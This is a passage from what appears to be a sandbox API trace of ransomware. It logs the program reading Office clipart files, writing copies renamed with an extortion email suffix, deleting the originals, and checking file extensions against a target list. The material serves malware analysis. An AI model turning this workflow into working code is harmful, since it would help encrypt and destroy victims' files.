dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0149.882] GetLastError () returned 0x0 [0149.882] ReadFile (in: hFile=0x3a0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x84b7, lpOverlapped=0x0) returned 1 [0149.906] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x84c0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x84c0, lpOverlapped=0x0) returned 1 [0149.907] ReadFile (in: hFile=0x3a0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.907] WriteFile (in: hFile=0x39c, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.907] SetEndOfFile (hFile=0x39c) returned 1 [0149.908] CloseHandle (hObject=0x39c) returned 1 [0149.908] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.908] SetEndOfFile (hFile=0x3a0) returned 1 [0149.910] CloseHandle (hObject=0x3a0) returned 1 [0149.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.917] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif")) returned 1 [0149.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0149.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0149.917] lstrlenW (lpString=".doc") returned 4 [0149.917] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.917] lstrlenW (lpString=".docx") returned 5 [0149.917] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0149.917] lstrlenW (lpString=".pdf") returned 4 [0149.917] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.917] lstrlenW (lpString=".xls") returned 4 [0149.917] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.918] lstrlenW (lpString=".xlsx") returned 5 [0149.918] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0149.918] lstrlenW (lpString=".ppt") returned 4 [0149.918] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0149.918] lstrlenW (lpString=".zip") returned 4 [0149.918] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.918] lstrlenW (lpString=".rar") returned 4 [0149.918] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.918] lstrlenW (lpString=".bz2") returned 4 [0149.918] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.918] lstrlenW (lpString=".7z") returned 3 [0149.918] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0149.918] lstrlenW (lpString=".dbf") returned 4 [0149.918] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0149.918] lstrlenW (lpString=".1cd") returned 4 [0149.918] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0149.918] lstrlenW (lpString=".jpg") returned 4 [0149.918] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0149.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0149.918] lstrlenW (lpString=".doc") returned 4 [0149.918] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.918] lstrlenW (lpString=".docx") returned 5 [0149.918] lstrcmpiW (lpString1=".docx", lpString2="9.GIF") returned -1 [0149.918] lstrlenW (lpString=".pdf") returned 4 [0149.918] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.918] lstrlenW (lpString=".xls") returned 4 [0149.918] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.918] lstrlenW (lpString=".xlsx") returned 5 [0149.918] lstrcmpiW (lpString1=".xlsx", lpString2="9.GIF") returned -1 [0149.918] lstrlenW (lpString=".ppt") returned 4 [0149.919] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0149.919] lstrlenW (lpString=".zip") returned 4 [0149.919] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.919] lstrlenW (lpString=".rar") returned 4 [0149.919] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.919] lstrlenW (lpString=".bz2") returned 4 [0149.919] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.919] lstrlenW (lpString=".7z") returned 3 [0149.919] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0149.919] lstrlenW (lpString=".dbf") returned 4 [0149.919] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0149.919] lstrlenW (lpString=".1cd") returned 4 [0149.919] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF") returned 63 [0149.919] lstrlenW (lpString=".jpg") returned 4 [0149.919] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.919] lstrcmpiW (lpString1=".GIF", lpString2=".LIVE") returned -1 [0149.919] lstrlenW (lpString="J0099202.GIF") returned 12 [0149.919] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.920] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=4967) returned 1 [0149.920] CloseHandle (hObject=0x3a8) returned 1 [0149.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif")) returned 0x20 [0149.920] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.920] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.920] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0149.921] GetLastError () returned 0x0 [0149.921] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x1367, lpOverlapped=0x0) returned 1 [0149.943] WriteFile (in: hFile=0x3a0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0149.944] ReadFile (in: hFile=0x3a8, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0149.944] WriteFile (in: hFile=0x3a0, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0149.944] SetEndOfFile (hFile=0x3a0) returned 1 [0149.944] CloseHandle (hObject=0x3a0) returned 1 [0149.944] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0149.944] SetEndOfFile (hFile=0x3a8) returned 1 [0149.949] CloseHandle (hObject=0x3a8) returned 1 [0149.949] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0149.949] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif")) returned 1 [0149.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0149.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0149.950] lstrlenW (lpString=".doc") returned 4 [0149.950] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.950] lstrlenW (lpString=".docx") returned 5 [0149.950] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0149.950] lstrlenW (lpString=".pdf") returned 4 [0149.950] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.950] lstrlenW (lpString=".xls") returned 4 [0149.950] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.950] lstrlenW (lpString=".xlsx") returned 5 [0149.950] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0149.950] lstrlenW (lpString=".ppt") returned 4 [0149.950] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0149.950] lstrlenW (lpString=".zip") returned 4 [0149.950] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.950] lstrlenW (lpString=".rar") returned 4 [0149.950] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.951] lstrlenW (lpString=".bz2") returned 4 [0149.951] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.951] lstrlenW (lpString=".7z") returned 3 [0149.951] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0149.951] lstrlenW (lpString=".dbf") returned 4 [0149.951] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0149.951] lstrlenW (lpString=".1cd") returned 4 [0149.951] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0149.951] lstrlenW (lpString=".jpg") returned 4 [0149.951] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0149.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0149.951] lstrlenW (lpString=".doc") returned 4 [0149.951] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0149.951] lstrlenW (lpString=".docx") returned 5 [0149.951] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0149.951] lstrlenW (lpString=".pdf") returned 4 [0149.951] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0149.951] lstrlenW (lpString=".xls") returned 4 [0149.951] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0149.951] lstrlenW (lpString=".xlsx") returned 5 [0149.951] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0149.951] lstrlenW (lpString=".ppt") returned 4 [0149.951] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0149.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0149.951] lstrlenW (lpString=".zip") returned 4 [0149.951] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0149.951] lstrlenW (lpString=".rar") returned 4 [0149.951] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0149.951] lstrlenW (lpString=".bz2") returned 4 [0149.951] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0149.951] lstrlenW (lpString=".7z") returned 3 [0149.951] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0149.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0149.952] lstrlenW (lpString=".dbf") returned 4 [0149.952] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0149.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0149.952] lstrlenW (lpString=".1cd") returned 4 [0149.952] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0149.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63 [0149.952] lstrlenW (lpString=".jpg") returned 4 [0149.952] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0149.952] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0149.952] lstrlenW (lpString="J0099204.WMF") returned 12 [0149.952] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0150.188] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=17854) returned 1 [0150.188] CloseHandle (hObject=0x3d0) returned 1 [0150.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf")) returned 0x20 [0150.188] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0150.189] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.189] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0150.189] GetLastError () returned 0x0 [0150.189] ReadFile (in: hFile=0x3d0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x45be, lpOverlapped=0x0) returned 1 [0150.350] WriteFile (in: hFile=0x3d8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x45c0, lpOverlapped=0x0) returned 1 [0150.351] ReadFile (in: hFile=0x3d0, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.352] WriteFile (in: hFile=0x3d8, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1 [0150.352] SetEndOfFile (hFile=0x3d8) returned 1 [0150.352] CloseHandle (hObject=0x3d8) returned 1 [0150.352] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.352] SetEndOfFile (hFile=0x3d0) returned 1 [0150.364] CloseHandle (hObject=0x3d0) returned 1 [0150.364] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0150.365] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf")) returned 1 [0150.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0150.365] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0150.365] lstrlenW (lpString=".doc") returned 4 [0150.366] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.366] lstrlenW (lpString=".docx") returned 5 [0150.366] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0150.366] lstrlenW (lpString=".pdf") returned 4 [0150.366] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.366] lstrlenW (lpString=".xls") returned 4 [0150.366] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.366] lstrlenW (lpString=".xlsx") returned 5 [0150.366] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0150.366] lstrlenW (lpString=".ppt") returned 4 [0150.366] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0150.366] lstrlenW (lpString=".zip") returned 4 [0150.366] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.366] lstrlenW (lpString=".rar") returned 4 [0150.366] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.366] lstrlenW (lpString=".bz2") returned 4 [0150.366] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.366] lstrlenW (lpString=".7z") returned 3 [0150.366] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0150.366] lstrlenW (lpString=".dbf") returned 4 [0150.366] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0150.366] lstrlenW (lpString=".1cd") returned 4 [0150.366] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0150.366] lstrlenW (lpString=".jpg") returned 4 [0150.366] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0150.366] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0150.366] lstrlenW (lpString=".doc") returned 4 [0150.366] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0150.366] lstrlenW (lpString=".docx") returned 5 [0150.367] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0150.367] lstrlenW (lpString=".pdf") returned 4 [0150.367] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0150.367] lstrlenW (lpString=".xls") returned 4 [0150.367] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0150.367] lstrlenW (lpString=".xlsx") returned 5 [0150.367] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0150.367] lstrlenW (lpString=".ppt") returned 4 [0150.367] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0150.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0150.367] lstrlenW (lpString=".zip") returned 4 [0150.367] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0150.367] lstrlenW (lpString=".rar") returned 4 [0150.367] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0150.367] lstrlenW (lpString=".bz2") returned 4 [0150.367] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0150.367] lstrlenW (lpString=".7z") returned 3 [0150.367] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0150.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0150.367] lstrlenW (lpString=".dbf") returned 4 [0150.367] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0150.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0150.367] lstrlenW (lpString=".1cd") returned 4 [0150.367] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0150.367] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63 [0150.367] lstrlenW (lpString=".jpg") returned 4 [0150.367] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0150.367] lstrcmpiW (lpString1=".BMP", lpString2=".LIVE") returned -1 [0150.367] lstrlenW (lpString="J0101862.BMP") returned 12 [0150.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0150.380] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=32184) returned 1 [0150.380] CloseHandle (hObject=0x3b4) returned 1 [0150.380] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp")) returned 0x20 [0150.382] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0150.382] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.382] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.382] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101862.BMP.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101862.bmp.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0150.383] GetLastError () returned 0x0 [0150.383] ReadFile (in: hFile=0x1fc, lpBuffer=0x38a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesRead=0x2c4fed4*=0x7db8, lpOverlapped=0x0) returned 1 [0150.413] WriteFile (in: hFile=0x3b4, lpBuffer=0x38a0020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38a0020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x7dc0, lpOverlapped=0x0) returned 1 [0150.415] ReadFile (in: hFile=0x1fc, lpBuffer=0x38a0020, 